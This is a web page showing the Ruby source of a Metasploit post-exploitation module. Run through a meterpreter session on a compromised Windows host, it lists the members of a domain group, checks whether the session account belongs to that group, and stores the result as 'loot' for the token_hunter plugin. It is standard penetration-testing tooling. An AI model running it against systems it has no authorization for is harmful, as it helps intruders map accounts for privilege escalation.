Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_domain_group_users.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Gather Enumerate Domain Group',13'Description' => %q{14This module extracts user accounts from the specified domain group15and stores the results in the loot. It will also verify if session16account is in the group. Data is stored in loot in a format that17is compatible with the token_hunter plugin. This module must be18run on a session running as a domain user.19},20'License' => MSF_LICENSE,21'Author' => [22'Carlos Perez <carlos_perez[at]darkoperator.com>',23'Stephen Haywood <haywoodsb[at]gmail.com>'24],25'Platform' => [ 'win' ],26'SessionTypes' => [ 'meterpreter' ],27'Notes' => {28'Stability' => [CRASH_SAFE],29'Reliability' => [],30'SideEffects' => []31},32'Compat' => {33'Meterpreter' => {34'Commands' => %w[35stdapi_sys_config_getuid36]37}38}39)40)41register_options([42OptString.new('GROUP', [true, 'Domain Group to enumerate', nil])43])44end4546def run47hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']48print_status("Running module against #{hostname} (#{session.session_host})")4950group = datastore['GROUP']5152fail_with(Failure::BadConfig, 'GROUP must be set.') if group.blank?5354domain = get_domain_name5556fail_with(Failure::Unknown, 'Could not retrieve domain name. Is the host part of a domain?') if domain.blank?5758netbios_domain_name = domain.split('.').first.upcase5960members = get_members_from_group(group, domain) || []6162fail_with(Failure::Unknown, "No members found for '#{domain}\\#{group}' group.") if members.blank?6364print_status("Found #{members.length} users in '#{domain}\\#{group}' group.")6566loot = []67members.each do |user|68print_status("\t#{netbios_domain_name}\\#{user}")69loot << "#{netbios_domain_name}\\#{user}"70end7172user_domain, user = client.sys.config.getuid.split('\\')7374if user_domain.downcase.include?(netbios_domain_name.downcase) && members.map { |u| u.downcase == user.downcase }.include?(true)75print_good("Current session running as #{domain}\\#{user} is a member of #{domain}\\#{group}!")76else77print_status("Current session running as #{domain}\\#{user} is not a member of #{domain}\\#{group}")78end7980loot_file = store_loot(81'domain.group.members',82'text/plain',83session,84loot.join("\n"),85nil,86group87)8889print_good("User list stored in #{loot_file}")90end91end929394